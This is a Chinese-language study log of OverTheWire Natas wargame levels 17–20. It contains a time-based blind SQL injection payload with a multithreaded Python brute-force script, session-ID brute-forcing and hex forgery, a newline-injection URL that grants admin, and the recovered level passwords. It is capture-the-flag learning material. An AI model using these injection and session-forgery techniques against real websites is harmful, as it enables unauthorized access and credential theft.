170819 WarGames-Natas(17-20)

1625-5 王子昂 总结《2017年8月19日》 【连续第321天总结】
A. Natas
B.

Level 17

本关的源代码与level15相同,只是把echo语句注释掉了
那么很容易想到,返回值全部被隐藏的时候,使用sql时间盲注
即虽然页面没有显示,但是可以通过sleep()函数的执行与否来反馈
具体构造爆username的shellcode为:

SELECT * from users where username=""or left(username,1)="a" and sleep(5) and "1"="1"

通过and的特性,如果前表达式返回True再执行后表达式,可以达到判断的效果
可以通过观察页面打开时间(脚本中设置timeout参数)来确定sleep()是否有执行,如果执行说明前表达式执行正确,否则执行错误
脚本同样在之前的基础上稍加改动即可:

        reqdata={'username':'natas18\" and ascii(substr(password,'+str(i)+',1))=ascii(\"'+ string + '\")and sleep(20) and "1"="1'}
        reqdata = parse.urlencode(reqdata).encode('utf-8')
        req=request.Request(url,data=reqdata,headers=headers)
        try:
            page=request.urlopen(req,timeout=2)
        except socket.timeout:
            return True//sleep()成功执行,说明string正确
        return Flase

这里可能跟自己的网速有关系,如果sleep函数未执行的延时都不小的话就需要调整一下timeout参数了(
测试了一下在等待的时候如果浏览别的网页/打开视频就会使得此处timeout大大加长,因此为了稳定下可以给多一些的timeout,例如5s
本来想着如果网速较差,timeout较大的话可能速度会比较感人,需要用多线程
但是大概看了一下多线程需要对整体结构做调整,结果处理完全没思路,本身的速度也差强人意,于是就懒得搞啦~
又想了一下,由于比较ascii所以pw之间是独立的爆破,完全可以用多线程啦~
修改脚本:

#在初始化函数中声明self.pw=[0 for x in range(32)]
    def brute(self,key,i):
        for char in self.chars:
            string=chr(char)
            result=self.httpcon(string,i)
            if(result):
                self.pw[i-1] = string#将爆出的结果存入结果中
                print(i, string)
                # self.brute(string, i + 1)
                break

    def run(self):
        ls_thread=[]
        for i in range(32):
            t=threading.Thread(target=self.brute,args=('',i+1))#每个字符给予一个线程
            ls_thread.append(t)
            t.start()
        for t in ls_thread:
            t.join()#等待所有线程完成
        print("Finished.\nThe password is ", "".join(self.pw))

顺便附上感觉不错的盲注的学习页面:http://www.jianshu.com/p/65f05e7cc957

先爆出username为natas18,然后爆出password:

The password is xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Level 18

这次的PHP脚本是一个Session登录的模拟

if(my_session_start()) { 
    print_credentials(); 
    $showform = false; 
} else { 
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
    session_id(createID($_REQUEST["username"])); 
    session_start(); 
    $_SESSION["admin"] = isValidAdminLogin(); 
    debug("New session started"); 
    $showform = false; 
    print_credentials(); 
    } 
}  

服务器检索Cookies中保存的SessionID,库中没有则新建,有则检查admin值
由于isValidAdminLogin()只会对admin赋0,因此新的SessionID是不可通过的
那么只能寻找本来就存在的SessionID,脚本中提示了最大值为640,因此写脚本爆破即可
将headers中添加cookie项,并修改PHPSESSID
多线程几秒钟就能爆出ID=138时admin=1,得到pw:

4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

Level 19

这次不显示脚本,提示sessions ID不连续
抓包观察SessionID为”3236382d61646d696e”
32这个数字是’2’的十六进制ASCII
大体扫下去基本都不超出ASCII的范围,那写一个脚本转换一下试试
发现它果然是“268-admin”的ASCII
那就很简单了,跟上一题一样,只是稍微多一步转换过程
跑出SessionID为”89-admin”的ASCII“38392d61646d696e”,pw:

eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

Level 20

本次的PHP脚本大致流程为
首先合法校验,检测sessionID是否只有数字和字母
通过后读取以ID为文件名的文件,若空则新建
以\n为分隔符,然后空格分隔Key和Value
若admin=1则成功
由于sessionID进行了合法性校验,因此无法直接读取密码文件的信息
但username没有校验,因此可以在其中注入’\nadmin 1’使读取的时候对Session进行修改
URL为

http://natas20.natas.labs.overthewire.org/index.php?debug&name=123 %0Aadmin 1

注意直接输入’\n’是不会被写入文件的,因此需要通过URL编码绕一下
得到pw:

IFekPyrQXftziDEsUr3x21sYuahypdgJ

C. 明日计划
NATAS

你可能感兴趣的:(WarGames)